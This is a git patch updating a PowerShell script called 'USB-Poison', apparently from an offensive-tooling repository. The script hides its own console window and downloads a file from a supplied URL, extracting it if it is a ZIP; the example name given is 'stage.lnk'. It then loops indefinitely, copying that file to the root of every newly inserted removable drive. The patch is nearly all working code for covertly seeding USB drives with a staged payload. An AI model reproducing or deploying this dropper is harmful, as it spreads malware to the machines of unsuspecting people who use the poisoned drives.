From f08135eccc830a0118769e48b29b284fc1042b31 Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Mon, 22 Jul 2024 11:13:47 +0000 Subject: [PATCH] Update main.ps1 --- USB-Poison/main.ps1 | 93 ++++++++++++++++++++++++++++++++------------- 1 file changed, 66 insertions(+), 27 deletions(-) diff --git a/USB-Poison/main.ps1 b/USB-Poison/main.ps1 index 086a791..a2ad080 100644 --- a/USB-Poison/main.ps1 +++ b/USB-Poison/main.ps1 @@ -2,7 +2,7 @@ SYNOPSIS This script runs quietly in the background waiting for new USB storage devices. -When a new storage device connects, this script will copy a desired file to the root of newly connected drive. +When a new device connects, this script will copy a desired file to the root of newly connected drive. USAGE 1. REPLACE the example file URL with your own. @@ -13,16 +13,20 @@ USAGE #> -# Replace with your file direct download link -$fileURL = "$url" +# Replace with your file direct download / raw link +$fileURL = "$DLurl" +$fileToCopy = "$File" # if zip is downloaded -# Hidden Console -$hidden = 'y' +if ($fileURL.length -eq 0){ + $fileURL = read-host "Enter direct download file URL " +} -$filename = Split-Path -Path $fileURL -Leaf -$filepath = "$env:TEMP/$filename" -iwr -Uri $fileURL -OutFile $filepath - +if ($fileToCopy.length -eq 0){ + $fileToCopy = read-host "Enter the filename (eg. stage.lnk) " +} + +# Hidden Console (y/n) +$hidden = 'y' If ($hidden -eq 'y'){ Write-Host "Hiding the Window.." -ForegroundColor Red @@ -40,22 +44,57 @@ If ($hidden -eq 'y'){ $Type::ShowWindowAsync($hwnd, 0) } } - -while($true){ - - $initialDrives = Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | select DeviceID - while ($true){ - $currentDrives = Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | select DeviceID - $newDrive = $currentDrives | Where-Object { $initialDrives.DeviceID -notcontains $_.DeviceID} - if ($newDrive){ - $drive = Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | Where-Object { $initialDrives.DeviceID -notcontains $_.DeviceID} - $driveletter = ($drive.DeviceID + '/') - Copy-Item -Path $filepath -Destination $driveletter - sleep 1 - break - } - sleep 1 - } - + +function DownloadAndExtract-Zip { + param ([string]$fileURL,[string]$filename) + + $filename = Split-Path -Path $fileURL -Leaf + $tempDir = [System.IO.Path]::GetTempPath() + $filepath = "$tempDir\$filename" + + try { + Invoke-WebRequest -Uri $fileURL -OutFile $filepath + Write-Host "File downloaded to $filepath" + } catch { + Write-Error "Failed to download file from $fileURL" + return + } + + if ($filename -like "*.zip") { + Write-Host "File is a ZIP archive. Extracting contents..." + + $extractPath = $tempDir + + try { + Add-Type -AssemblyName System.IO.Compression.FileSystem + [System.IO.Compression.ZipFile]::ExtractToDirectory($filepath, $extractPath) + Write-Host "Files extracted to $extractPath" + } catch { + Write-Error "Failed to extract the ZIP file" + } + } else { + Write-Host "Downloaded file is not a ZIP archive. No extraction needed." + } +} + +DownloadAndExtract-Zip -fileURL $fileURL + +while($true){ + $tempDir = [System.IO.Path]::GetTempPath() + $fileToCopy = "$tempDir\$fileToCopy" + $initialDrives = Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | select DeviceID + while ($true){ + $currentDrives = Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | select DeviceID + $newDrive = $currentDrives | Where-Object { $initialDrives.DeviceID -notcontains $_.DeviceID} + if ($newDrive){ + $drive = Get-WMIObject Win32_LogicalDisk | ? {$_.DriveType -eq 2} | Where-Object { $initialDrives.DeviceID -notcontains $_.DeviceID} + $driveletter = ($drive.DeviceID + '/') + Copy-Item -Path $fileToCopy -Destination $driveletter + sleep 1 + break + } + sleep 1 + } + sleep 1 -} \ No newline at end of file +}